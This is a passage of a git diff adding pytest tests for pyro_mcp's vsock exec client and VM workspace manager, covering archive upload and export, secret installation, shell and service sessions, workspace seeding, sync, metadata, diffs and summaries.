"kernel-fixed\n" + assert Path(str(pulled["rootfs_image"])).read_text(encoding="utf-8") == "rootfs-fixed\n" + + def test_environment_store_prunes_stale_entries(tmp_path: Path) -> None: store = EnvironmentStore(runtime_paths=resolve_runtime_paths(), cache_dir=tmp_path / "cache") platform_dir = store.cache_dir / "linux-x86_64" diff --git a/tests/test_vm_guest.py b/tests/test_vm_guest.py index fe51894..2728cc8 100644 --- a/tests/test_vm_guest.py +++ b/tests/test_vm_guest.py @@ -1,6 +1,10 @@ from __future__ import annotations +import io +import json import socket +import tarfile +from pathlib import Path import pytest @@ -53,15 +57,365 @@ def test_vsock_exec_client_round_trip(monkeypatch: pytest.MonkeyPatch) -> None: return stub client = VsockExecClient(socket_factory=socket_factory) - response = client.exec(1234, 5005, "echo ok", 30) + response = client.exec(1234, 5005, "echo ok", 30, env={"TOKEN": "expected"}) assert response.exit_code == 0 assert response.stdout == "ok\n" assert stub.connected == (1234, 5005) assert b'"command": "echo ok"' in stub.sent + assert b'"env": {"TOKEN": "expected"}' in stub.sent assert stub.closed is True +def test_vsock_exec_client_upload_archive_round_trip( + monkeypatch: pytest.MonkeyPatch, tmp_path: Path +) -> None: + monkeypatch.setattr(socket, "AF_VSOCK", 40, raising=False) + archive_path = tmp_path / "seed.tgz" + with tarfile.open(archive_path, "w:gz") as archive: + payload = b"hello\n" + info = tarfile.TarInfo(name="note.txt") + info.size = len(payload) + archive.addfile(info, io.BytesIO(payload)) + stub = StubSocket( + b'{"destination":"/workspace","entry_count":1,"bytes_written":6}' + ) + + def socket_factory(family: int, sock_type: int) -> StubSocket: + assert family == socket.AF_VSOCK + assert sock_type == socket.SOCK_STREAM + return stub + + client = VsockExecClient(socket_factory=socket_factory) + response = client.upload_archive( + 1234, + 5005, + archive_path, + destination="/workspace", + timeout_seconds=60, + ) + + request_payload, archive_payload = stub.sent.split(b"\n", 1) + request = json.loads(request_payload.decode("utf-8")) + assert request["action"] == "extract_archive" + assert request["destination"] == "/workspace" + assert int(request["archive_size"]) == archive_path.stat().st_size + assert archive_payload == archive_path.read_bytes() + assert response.entry_count == 1 + assert response.bytes_written == 6 + assert stub.closed is True + + +def test_vsock_exec_client_install_secrets_round_trip( + monkeypatch: pytest.MonkeyPatch, tmp_path: Path +) -> None: + monkeypatch.setattr(socket, "AF_VSOCK", 40, raising=False) + archive_path = tmp_path / "secrets.tar" + with tarfile.open(archive_path, "w") as archive: + payload = b"expected\n" + info = tarfile.TarInfo(name="API_TOKEN") + info.size = len(payload) + archive.addfile(info, io.BytesIO(payload)) + stub = StubSocket( + b'{"destination":"/run/pyro-secrets","entry_count":1,"bytes_written":9}' + ) + + def socket_factory(family: int, sock_type: int) -> StubSocket: + assert family == socket.AF_VSOCK + assert sock_type == socket.SOCK_STREAM + return stub + + client = VsockExecClient(socket_factory=socket_factory) + response = client.install_secrets(1234, 5005, archive_path, timeout_seconds=60) + + request_payload, archive_payload = stub.sent.split(b"\n", 1) + request = json.loads(request_payload.decode("utf-8")) + assert request["action"] == "install_secrets" + assert int(request["archive_size"]) == archive_path.stat().st_size + assert archive_payload == archive_path.read_bytes() + assert response.destination == "/run/pyro-secrets" + assert response.entry_count == 1 + assert response.bytes_written == 9 + assert stub.closed is True + + +def test_vsock_exec_client_export_archive_round_trip( + monkeypatch: pytest.MonkeyPatch, tmp_path: Path +) -> None: + monkeypatch.setattr(socket, "AF_VSOCK", 40, raising=False) + archive_bytes = io.BytesIO() + with tarfile.open(fileobj=archive_bytes, mode="w") as archive: + payload = b"hello\n" + info = tarfile.TarInfo(name="note.txt") + info.size = len(payload) + archive.addfile(info, io.BytesIO(payload)) + archive_payload = archive_bytes.getvalue() + header = json.dumps( + { + "workspace_path": "/workspace/note.txt", + "artifact_type": "file", + "archive_size": len(archive_payload), + "entry_count": 1, + "bytes_written": 6, + } + ).encode("utf-8") + b"\n" + stub = StubSocket(header + archive_payload) + + def socket_factory(family: int, sock_type: int) -> StubSocket: + assert family == socket.AF_VSOCK + assert sock_type == socket.SOCK_STREAM + return stub + + client = VsockExecClient(socket_factory=socket_factory) + archive_path = tmp_path / "export.tar" + response = client.export_archive( + 1234, + 5005, + workspace_path="/workspace/note.txt", + archive_path=archive_path, + timeout_seconds=60, + ) + + request = json.loads(stub.sent.decode("utf-8").strip()) + assert request["action"] == "export_archive" + assert request["path"] == "/workspace/note.txt" + assert archive_path.read_bytes() == archive_payload + assert response.workspace_path == "/workspace/note.txt" + assert response.artifact_type == "file" + assert response.entry_count == 1 + assert response.bytes_written == 6 + assert stub.closed is True + + +def test_vsock_exec_client_shell_round_trip(monkeypatch: pytest.MonkeyPatch) -> None: + monkeypatch.setattr(socket, "AF_VSOCK", 40, raising=False) + responses = [ + json.dumps( + { + "shell_id": "shell-1", + "cwd": "/workspace", + "cols": 120, + "rows": 30, + "state": "running", + "started_at": 1.0, + "ended_at": None, + "exit_code": None, + } + ).encode("utf-8"), + json.dumps( + { + "shell_id": "shell-1", + "cwd": "/workspace", + "cols": 120, + "rows": 30, + "state": "running", + "started_at": 1.0, + "ended_at": None, + "exit_code": None, + "cursor": 0, + "next_cursor": 12, + "output": "pyro$ pwd\n", + "truncated": False, + } + ).encode("utf-8"), + json.dumps( + { + "shell_id": "shell-1", + "cwd": "/workspace", + "cols": 120, + "rows": 30, + "state": "running", + "started_at": 1.0, + "ended_at": None, + "exit_code": None, + "input_length": 3, + "append_newline": True, + } + ).encode("utf-8"), + json.dumps( + { + "shell_id": "shell-1", + "cwd": "/workspace", + "cols": 120, + "rows": 30, + "state": "running", + "started_at": 1.0, + "ended_at": None, + "exit_code": None, + "signal": "INT", + } + ).encode("utf-8"), + json.dumps( + { + "shell_id": "shell-1", + "cwd": "/workspace", + "cols": 120, + "rows": 30, + "state": "stopped", + "started_at": 1.0, + "ended_at": 2.0, + "exit_code": 0, + "closed": True, + } + ).encode("utf-8"), + ] + stubs = [StubSocket(response) for response in responses] + remaining = list(stubs) + + def socket_factory(family: int, sock_type: int) -> StubSocket: + assert family == socket.AF_VSOCK + assert sock_type == socket.SOCK_STREAM + return remaining.pop(0) + + client = VsockExecClient(socket_factory=socket_factory) + opened = client.open_shell( + 1234, + 5005, + shell_id="shell-1", + cwd="/workspace", + cols=120, + rows=30, + env={"TOKEN": "expected"}, + redact_values=["expected"], + ) + assert opened.shell_id == "shell-1" + read = client.read_shell(1234, 5005, shell_id="shell-1", cursor=0, max_chars=1024) + assert read.output == "pyro$ pwd\n" + write = client.write_shell( + 1234, + 5005, + shell_id="shell-1", + input_text="pwd", + append_newline=True, + ) + assert write["input_length"] == 3 + signaled = client.signal_shell(1234, 5005, shell_id="shell-1", signal_name="INT") + assert signaled["signal"] == "INT" + closed = client.close_shell(1234, 5005, shell_id="shell-1") + assert closed["closed"] is True + open_request = json.loads(stubs[0].sent.decode("utf-8").strip()) + assert open_request["action"] == "open_shell" + assert open_request["shell_id"] == "shell-1" + assert open_request["env"] == {"TOKEN": "expected"} + assert open_request["redact_values"] == ["expected"] + + +def test_vsock_exec_client_service_round_trip(monkeypatch: pytest.MonkeyPatch) -> None: + monkeypatch.setattr(socket, "AF_VSOCK", 40, raising=False) + responses = [ + json.dumps( + { + "service_name": "app", + "command": "echo ok", + "cwd": "/workspace", + "state": "running", + "started_at": 1.0, + "ready_at": 2.0, + "ended_at": None, + "exit_code": None, + "pid": 42, + "readiness": {"type": "file", "path": "/workspace/.ready"}, + "stop_reason": None, + } + ).encode("utf-8"), + json.dumps( + { + "service_name": "app", + "command": "echo ok", + "cwd": "/workspace", + "state": "running", + "started_at": 1.0, + "ready_at": 2.0, + "ended_at": None, + "exit_code": None, + "pid": 42, + "readiness": {"type": "file", "path": "/workspace/.ready"}, + "stop_reason": None, + } + ).encode("utf-8"), + json.dumps( + { + "service_name": "app", + "command": "echo ok", + "cwd": "/workspace", + "state": "running", + "started_at": 1.0, + "ready_at": 2.0, + "ended_at": None, + "exit_code": None, + "pid": 42, + "readiness": {"type": "file", "path": "/workspace/.ready"}, + "stop_reason": None, + "stdout": "ok\n", + "stderr": "", + "tail_lines": 200, + "truncated": False, + } + ).encode("utf-8"), + json.dumps( + { + "service_name": "app", + "command": "echo ok", + "cwd": "/workspace", + "state": "stopped", + "started_at": 1.0, + "ready_at": 2.0, + "ended_at": 3.0, + "exit_code": 0, + "pid": 42, + "readiness": {"type": "file", "path": "/workspace/.ready"}, + "stop_reason": "sigterm", + } + ).encode("utf-8"), + ] + stubs = [StubSocket(response) for response in responses] + remaining = list(stubs) + + def socket_factory(family: int, sock_type: int) -> StubSocket: + assert family == socket.AF_VSOCK + assert sock_type == socket.SOCK_STREAM + return remaining.pop(0) + + client = VsockExecClient(socket_factory=socket_factory) + started = client.start_service( + 1234, + 5005, + service_name="app", + command="echo ok", + cwd="/workspace", + readiness={"type": "file", "path": "/workspace/.ready"}, + ready_timeout_seconds=30, + ready_interval_ms=500, + env={"TOKEN": "expected"}, + ) + assert started["service_name"] == "app" + status = client.status_service(1234, 5005, service_name="app") + assert status["state"] == "running" + logs = client.logs_service(1234, 5005, service_name="app", tail_lines=200) + assert logs["stdout"] == "ok\n" + stopped = client.stop_service(1234, 5005, service_name="app") + assert stopped["state"] == "stopped" + start_request = json.loads(stubs[0].sent.decode("utf-8").strip()) + assert start_request["action"] == "start_service" + assert start_request["service_name"] == "app" + assert start_request["env"] == {"TOKEN": "expected"} + + +def test_vsock_exec_client_raises_agent_error(monkeypatch: pytest.MonkeyPatch) -> None: + monkeypatch.setattr(socket, "AF_VSOCK", 40, raising=False) + stub = StubSocket(b'{"error":"shell is unavailable"}') + client = VsockExecClient(socket_factory=lambda family, sock_type: stub) + with pytest.raises(RuntimeError, match="shell is unavailable"): + client.open_shell( + 1234, + 5005, + shell_id="shell-1", + cwd="/workspace", + cols=120, + rows=30, + ) + + def test_vsock_exec_client_rejects_bad_json(monkeypatch: pytest.MonkeyPatch) -> None: monkeypatch.setattr(socket, "AF_VSOCK", 40, raising=False) stub = StubSocket(b"[]") diff --git a/tests/test_vm_manager.py b/tests/test_vm_manager.py index 0182064..73fc74f 100644 --- a/tests/test_vm_manager.py +++ b/tests/test_vm_manager.py @@ -1,14 +1,70 @@ from __future__ import annotations +import io +import json +import os +import signal +import subprocess +import tarfile +import time from pathlib import Path -from typing import Any +from typing import Any, cast import pytest import pyro_mcp.vm_manager as vm_manager_module -from pyro_mcp.runtime import resolve_runtime_paths +from pyro_mcp.runtime import RuntimeCapabilities, resolve_runtime_paths from pyro_mcp.vm_manager import VmManager -from pyro_mcp.vm_network import TapNetworkManager +from pyro_mcp.vm_network import NetworkConfig, TapNetworkManager + + +def _run_debugfs_write(rootfs_image: Path, command: str) -> None: + proc = subprocess.run( # noqa: S603 + ["debugfs", "-w", "-R", command, str(rootfs_image)], + text=True, + capture_output=True, + check=False, + ) + if proc.returncode != 0: + message = proc.stderr.strip() or proc.stdout.strip() or command + raise RuntimeError(message) + + +def _create_stopped_workspace_rootfs(tmp_path: Path) -> Path: + rootfs_image = tmp_path / "workspace-rootfs.ext4" + with rootfs_image.open("wb") as handle: + handle.truncate(16 * 1024 * 1024) + proc = subprocess.run( # noqa: S603 + ["mkfs.ext4", "-F", str(rootfs_image)], + text=True, + capture_output=True, + check=False, + ) + if proc.returncode != 0: + message = proc.stderr.strip() or proc.stdout.strip() or "mkfs.ext4 failed" + raise RuntimeError(message) + for directory in ( + "/workspace", + "/workspace/src", + "/run", + "/run/pyro-secrets", + "/run/pyro-services", + ): + _run_debugfs_write(rootfs_image, f"mkdir {directory}") + note_path = tmp_path / "note.txt" + note_path.write_text("hello from disk\n", encoding="utf-8") + child_path = tmp_path / "child.txt" + child_path.write_text("nested child\n", encoding="utf-8") + secret_path = tmp_path / "secret.txt" + secret_path.write_text("super-secret\n", encoding="utf-8") + service_path = tmp_path / "service.log" + service_path.write_text("service runtime\n", encoding="utf-8") + _run_debugfs_write(rootfs_image, f"write {note_path} /workspace/note.txt") + _run_debugfs_write(rootfs_image, f"write {child_path} /workspace/src/child.txt") + _run_debugfs_write(rootfs_image, "symlink /workspace/link note.txt") + _run_debugfs_write(rootfs_image, f"write {secret_path} /run/pyro-secrets/TOKEN") + _run_debugfs_write(rootfs_image, f"write {service_path} /run/pyro-services/app.log") + return rootfs_image def test_vm_manager_lifecycle_and_auto_cleanup(tmp_path: Path) -> None: @@ -22,6 +78,7 @@ def test_vm_manager_lifecycle_and_auto_cleanup(tmp_path: Path) -> None: vcpu_count=1, mem_mib=512, ttl_seconds=600, + allow_host_compat=True, ) vm_id = str(created["vm_id"]) started = manager.start_vm(vm_id) @@ -47,6 +104,7 @@ def test_vm_manager_exec_timeout(tmp_path: Path) -> None: vcpu_count=1, mem_mib=512, ttl_seconds=600, + allow_host_compat=True, )["vm_id"] ) manager.start_vm(vm_id) @@ -67,6 +125,7 @@ def test_vm_manager_stop_and_delete(tmp_path: Path) -> None: vcpu_count=1, mem_mib=512, ttl_seconds=600, + allow_host_compat=True, )["vm_id"] ) manager.start_vm(vm_id) @@ -89,6 +148,7 @@ def test_vm_manager_reaps_expired(tmp_path: Path) -> None: vcpu_count=1, mem_mib=512, ttl_seconds=1, + allow_host_compat=True, )["vm_id"] ) instance = manager._instances[vm_id] # noqa: SLF001 @@ -112,6 +172,7 @@ def test_vm_manager_reaps_started_vm(tmp_path: Path) -> None: vcpu_count=1, mem_mib=512, ttl_seconds=1, + allow_host_compat=True, )["vm_id"] ) manager.start_vm(vm_id) @@ -145,9 +206,21 @@ def test_vm_manager_max_active_limit(tmp_path: Path) -> None: max_active_vms=1, network_manager=TapNetworkManager(enabled=False), ) - manager.create_vm(environment="debian:12-base", vcpu_count=1, mem_mib=512, ttl_seconds=600) + manager.create_vm( + environment="debian:12-base", + vcpu_count=1, + mem_mib=512, + ttl_seconds=600, + allow_host_compat=True, + ) with pytest.raises(RuntimeError, match="max active VMs reached"): - manager.create_vm(environment="debian:12-base", vcpu_count=1, mem_mib=512, ttl_seconds=600) + manager.create_vm( + environment="debian:12-base", + vcpu_count=1, + mem_mib=512, + ttl_seconds=600, + allow_host_compat=True, + ) def test_vm_manager_state_validation(tmp_path: Path) -> None: @@ -162,6 +235,7 @@ def test_vm_manager_state_validation(tmp_path: Path) -> None: vcpu_count=1, mem_mib=512, ttl_seconds=600, + allow_host_compat=True, )["vm_id"] ) with pytest.raises(RuntimeError, match="must be in 'started' state"): @@ -186,6 +260,7 @@ def test_vm_manager_status_expired_raises(tmp_path: Path) -> None: vcpu_count=1, mem_mib=512, ttl_seconds=1, + allow_host_compat=True, )["vm_id"] ) manager._instances[vm_id].expires_at = 0.0 # noqa: SLF001 @@ -213,6 +288,7 @@ def test_vm_manager_network_info(tmp_path: Path) -> None: vcpu_count=1, mem_mib=512, ttl_seconds=600, + allow_host_compat=True, ) vm_id = str(created["vm_id"]) status = manager.status_vm(vm_id) @@ -236,11 +312,1321 @@ def test_vm_manager_run_vm(tmp_path: Path) -> None: timeout_seconds=30, ttl_seconds=600, network=False, + allow_host_compat=True, ) assert int(result["exit_code"]) == 0 assert str(result["stdout"]) == "ok\n" +def test_workspace_lifecycle_and_logs(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + created = manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + ) + workspace_id = str(created["workspace_id"]) + assert created["state"] == "started" + assert created["workspace_path"] == "/workspace" + + first = manager.exec_workspace( + workspace_id, + command="printf 'hello\\n' > note.txt", + timeout_seconds=30, + ) + second = manager.exec_workspace(workspace_id, command="cat note.txt", timeout_seconds=30) + + assert first["exit_code"] == 0 + assert second["stdout"] == "hello\n" + + status = manager.status_workspace(workspace_id) + assert status["command_count"] == 2 + assert status["last_command"] is not None + + logs = manager.logs_workspace(workspace_id) + assert logs["count"] == 2 + entries = logs["entries"] + assert isinstance(entries, list) + assert entries[1]["stdout"] == "hello\n" + + deleted = manager.delete_workspace(workspace_id) + assert deleted["deleted"] is True + with pytest.raises(ValueError, match="does not exist"): + manager.status_workspace(workspace_id) + + +def test_workspace_create_seeds_directory_source_into_workspace(tmp_path: Path) -> None: + source_dir = tmp_path / "seed" + source_dir.mkdir() + (source_dir / "note.txt").write_text("hello\n", encoding="utf-8") + + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + created = manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + seed_path=source_dir, + ) + workspace_id = str(created["workspace_id"]) + + workspace_seed = created["workspace_seed"] + assert workspace_seed["mode"] == "directory" + assert workspace_seed["seed_path"] == str(source_dir.resolve()) + executed = manager.exec_workspace(workspace_id, command="cat note.txt", timeout_seconds=30) + assert executed["stdout"] == "hello\n" + + status = manager.status_workspace(workspace_id) + assert status["workspace_seed"]["mode"] == "directory" + assert status["workspace_seed"]["seed_path"] == str(source_dir.resolve()) + + +def test_workspace_create_seeds_tar_archive_into_workspace(tmp_path: Path) -> None: + archive_path = tmp_path / "seed.tgz" + nested_dir = tmp_path / "src" + nested_dir.mkdir() + (nested_dir / "note.txt").write_text("archive\n", encoding="utf-8") + with tarfile.open(archive_path, "w:gz") as archive: + archive.add(nested_dir / "note.txt", arcname="note.txt") + + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + created = manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + seed_path=archive_path, + ) + workspace_id = str(created["workspace_id"]) + + assert created["workspace_seed"]["mode"] == "tar_archive" + executed = manager.exec_workspace(workspace_id, command="cat note.txt", timeout_seconds=30) + assert executed["stdout"] == "archive\n" + + +def test_workspace_sync_push_updates_started_workspace(tmp_path: Path) -> None: + source_dir = tmp_path / "seed" + source_dir.mkdir() + (source_dir / "note.txt").write_text("hello\n", encoding="utf-8") + update_dir = tmp_path / "update" + update_dir.mkdir() + (update_dir / "more.txt").write_text("more\n", encoding="utf-8") + + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + created = manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + seed_path=source_dir, + ) + workspace_id = str(created["workspace_id"]) + synced = manager.push_workspace_sync(workspace_id, source_path=update_dir, dest="subdir") + + assert synced["workspace_sync"]["mode"] == "directory" + assert synced["workspace_sync"]["destination"] == "/workspace/subdir" + + executed = manager.exec_workspace( + workspace_id, + command="cat subdir/more.txt", + timeout_seconds=30, + ) + assert executed["stdout"] == "more\n" + + status = manager.status_workspace(workspace_id) + assert status["command_count"] == 1 + assert status["workspace_seed"]["mode"] == "directory" + + +def test_workspace_sync_push_requires_started_workspace(tmp_path: Path) -> None: + source_dir = tmp_path / "seed" + source_dir.mkdir() + (source_dir / "note.txt").write_text("hello\n", encoding="utf-8") + update_dir = tmp_path / "update" + update_dir.mkdir() + (update_dir / "more.txt").write_text("more\n", encoding="utf-8") + + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + created = manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + seed_path=source_dir, + ) + workspace_id = str(created["workspace_id"]) + workspace_path = tmp_path / "vms" / "workspaces" / workspace_id / "workspace.json" + payload = json.loads(workspace_path.read_text(encoding="utf-8")) + payload["state"] = "stopped" + workspace_path.write_text(json.dumps(payload, indent=2, sort_keys=True), encoding="utf-8") + + with pytest.raises( + RuntimeError, + match="must be in 'started' state before workspace_sync_push", + ): + manager.push_workspace_sync(workspace_id, source_path=update_dir) + + +def test_workspace_sync_push_rejects_destination_outside_workspace(tmp_path: Path) -> None: + source_dir = tmp_path / "seed" + source_dir.mkdir() + (source_dir / "note.txt").write_text("hello\n", encoding="utf-8") + + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + workspace_id = str( + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + )["workspace_id"] + ) + + with pytest.raises(ValueError, match="workspace destination must stay inside /workspace"): + manager.push_workspace_sync(workspace_id, source_path=source_dir, dest="../escape") + + +def test_workspace_metadata_list_update_and_last_activity(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + created = manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + name="repro-fix", + labels={"issue": "123", "owner": "codex"}, + ) + workspace_id = str(created["workspace_id"]) + assert created["name"] == "repro-fix" + assert created["labels"] == {"issue": "123", "owner": "codex"} + created_activity = float(created["last_activity_at"]) + + listed = manager.list_workspaces() + assert listed["count"] == 1 + assert listed["workspaces"][0]["name"] == "repro-fix" + assert listed["workspaces"][0]["labels"] == {"issue": "123", "owner": "codex"} + + time.sleep(0.01) + updated = manager.update_workspace( + workspace_id, + name="retry-run", + labels={"issue": "124"}, + clear_labels=["owner"], + ) + assert updated["name"] == "retry-run" + assert updated["labels"] == {"issue": "124"} + updated_activity = float(updated["last_activity_at"]) + assert updated_activity >= created_activity + + status_before_exec = manager.status_workspace(workspace_id) + time.sleep(0.01) + manager.exec_workspace(workspace_id, command="printf 'ok\\n'", timeout_seconds=30) + status_after_exec = manager.status_workspace(workspace_id) + assert float(status_before_exec["last_activity_at"]) == updated_activity + assert float(status_after_exec["last_activity_at"]) > updated_activity + reset = manager.reset_workspace(workspace_id) + assert reset["name"] == "retry-run" + assert reset["labels"] == {"issue": "124"} + + +def test_workspace_list_loads_legacy_records_without_metadata_fields(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + created = manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + ) + workspace_id = str(created["workspace_id"]) + record_path = tmp_path / "vms" / "workspaces" / workspace_id / "workspace.json" + payload = json.loads(record_path.read_text(encoding="utf-8")) + payload.pop("name", None) + payload.pop("labels", None) + payload.pop("last_activity_at", None) + record_path.write_text(json.dumps(payload, indent=2, sort_keys=True), encoding="utf-8") + + listed = manager.list_workspaces() + assert listed["count"] == 1 + listed_workspace = listed["workspaces"][0] + assert listed_workspace["workspace_id"] == workspace_id + assert listed_workspace["name"] is None + assert listed_workspace["labels"] == {} + assert float(listed_workspace["last_activity_at"]) == float(created["created_at"]) + + +def test_workspace_list_sorts_by_last_activity_and_skips_invalid_payload(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + first = manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + name="first", + ) + second = manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + name="second", + ) + first_id = str(first["workspace_id"]) + second_id = str(second["workspace_id"]) + time.sleep(0.01) + manager.exec_workspace(second_id, command="printf 'ok\\n'", timeout_seconds=30) + + invalid_dir = tmp_path / "vms" / "workspaces" / "invalid" + invalid_dir.mkdir(parents=True) + (invalid_dir / "workspace.json").write_text('"not-a-dict"', encoding="utf-8") + + listed = manager.list_workspaces() + assert listed["count"] == 2 + assert [item["workspace_id"] for item in listed["workspaces"]] == [second_id, first_id] + + +def test_workspace_update_clear_name_and_rejects_noop(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + created = manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + name="repro-fix", + labels={"issue": "123"}, + ) + workspace_id = str(created["workspace_id"]) + + cleared = manager.update_workspace( + workspace_id, + clear_name=True, + clear_labels=["issue"], + ) + assert cleared["name"] is None + assert cleared["labels"] == {} + + with pytest.raises(ValueError, match="workspace update requested no effective metadata change"): + manager.update_workspace(workspace_id, clear_name=True) + + with pytest.raises(ValueError, match="name and clear_name cannot be used together"): + manager.update_workspace(workspace_id, name="retry-run", clear_name=True) + + +def test_workspace_export_rejects_empty_output_path(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + created = manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + ) + + with pytest.raises(ValueError, match="output_path must not be empty"): + manager.export_workspace(str(created["workspace_id"]), path=".", output_path=" ") + + +def test_workspace_diff_and_export_round_trip(tmp_path: Path) -> None: + seed_dir = tmp_path / "seed" + seed_dir.mkdir() + (seed_dir / "note.txt").write_text("hello\n", encoding="utf-8") + update_dir = tmp_path / "update" + update_dir.mkdir() + (update_dir / "note.txt").write_text("hello from sync\n", encoding="utf-8") + + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + workspace_id = str( + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + seed_path=seed_dir, + )["workspace_id"] + ) + manager.push_workspace_sync(workspace_id, source_path=update_dir) + + diff_payload = manager.diff_workspace(workspace_id) + assert diff_payload["workspace_id"] == workspace_id + assert diff_payload["changed"] is True + assert diff_payload["summary"]["modified"] == 1 + assert diff_payload["summary"]["text_patched"] == 1 + assert "-hello\n" in diff_payload["patch"] + assert "+hello from sync\n" in diff_payload["patch"] + + output_path = tmp_path / "exported-note.txt" + export_payload = manager.export_workspace( + workspace_id, + path="note.txt", + output_path=output_path, + ) + assert export_payload["workspace_id"] == workspace_id + assert export_payload["artifact_type"] == "file" + assert output_path.read_text(encoding="utf-8") == "hello from sync\n" + + status = manager.status_workspace(workspace_id) + logs = manager.logs_workspace(workspace_id) + assert status["command_count"] == 0 + assert logs["count"] == 0 + + +def test_workspace_summary_synthesizes_current_session(tmp_path: Path) -> None: + seed_dir = tmp_path / "seed" + seed_dir.mkdir() + (seed_dir / "note.txt").write_text("hello\n", encoding="utf-8") + update_dir = tmp_path / "update" + update_dir.mkdir() + (update_dir / "more.txt").write_text("more\n", encoding="utf-8") + + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + workspace_id = str( + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + seed_path=seed_dir, + name="review-eval", + labels={"suite": "smoke"}, + )["workspace_id"] + ) + manager.push_workspace_sync(workspace_id, source_path=update_dir) + manager.write_workspace_file(workspace_id, "src/app.py", text="print('hello')\n") + manager.apply_workspace_patch( + workspace_id, + patch=( + "--- a/note.txt\n" + "+++ b/note.txt\n" + "@@ -1 +1 @@\n" + "-hello\n" + "+patched\n" + ), + ) + manager.exec_workspace(workspace_id, command="cat note.txt", timeout_seconds=30) + manager.create_snapshot(workspace_id, "checkpoint") + export_path = tmp_path / "exported-note.txt" + manager.export_workspace(workspace_id, "note.txt", output_path=export_path) + manager.start_service( + workspace_id, + "app", + command='sh -lc \'trap "exit 0" TERM; touch .ready; while true; do sleep 60; done\'', + readiness={"type": "file", "path": ".ready"}, + ) + manager.stop_service(workspace_id, "app") + + summary = manager.summarize_workspace(workspace_id) + + assert summary["workspace_id"] == workspace_id + assert summary["name"] == "review-eval" + assert summary["labels"] == {"suite": "smoke"} + assert summary["outcome"]["command_count"] == 1 + assert summary["outcome"]["export_count"] == 1 + assert summary["outcome"]["snapshot_count"] == 1 + assert summary["commands"]["total"] == 1 + assert summary["commands"]["recent"][0]["command"] == "cat note.txt" + assert [event["event_kind"] for event in summary["edits"]["recent"]] == [ + "patch_apply", + "file_write", + "sync_push", + ] + assert summary["changes"]["available"] is True + assert summary["changes"]["changed"] is True + assert summary["changes"]["summary"]["total"] == 4 + assert summary["services"]["current"][0]["service_name"] == "app" + assert [event["event_kind"] for event in summary["services"]["recent"]] == [ + "service_stop", + "service_start", + ] + assert summary["artifacts"]["exports"][0]["workspace_path"] == "/workspace/note.txt" + assert summary["snapshots"]["named_count"] == 1 + assert summary["snapshots"]["recent"][0]["snapshot_name"] == "checkpoint" + + +def test_workspace_summary_degrades_gracefully_for_stopped_and_legacy_workspaces( + tmp_path: Path, +) -> None: + seed_dir = tmp_path / "seed" + seed_dir.mkdir() + (seed_dir / "note.txt").write_text("hello\n", encoding="utf-8") + + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + stopped_workspace_id = str( + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + seed_path=seed_dir, + )["workspace_id"] + ) + manager.exec_workspace(stopped_workspace_id, command="cat note.txt", timeout_seconds=30) + manager.stop_workspace(stopped_workspace_id) + stopped_summary = manager.summarize_workspace(stopped_workspace_id) + assert stopped_summary["commands"]["total"] == 1 + assert stopped_summary["changes"]["available"] is False + assert "must be in 'started' state" in str(stopped_summary["changes"]["reason"]) + + legacy_workspace_id = str( + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + seed_path=seed_dir, + )["workspace_id"] + ) + baseline_path = ( + tmp_path / "vms" / "workspaces" / legacy_workspace_id / "baseline" / "workspace.tar" + ) + baseline_path.unlink() + legacy_summary = manager.summarize_workspace(legacy_workspace_id) + assert legacy_summary["changes"]["available"] is False + assert "baseline snapshot" in str(legacy_summary["changes"]["reason"]) + + +def test_workspace_file_ops_and_patch_round_trip(tmp_path: Path) -> None: + seed_dir = tmp_path / "seed" + seed_dir.mkdir() + src_dir = seed_dir / "src" + src_dir.mkdir() + (src_dir / "app.py").write_text('print("bug")\n', encoding="utf-8") + + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + workspace_id = str( + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + seed_path=seed_dir, + )["workspace_id"] + ) + + listing = manager.list_workspace_files(workspace_id, path="src", recursive=True) + assert listing["entries"] == [ + { + "path": 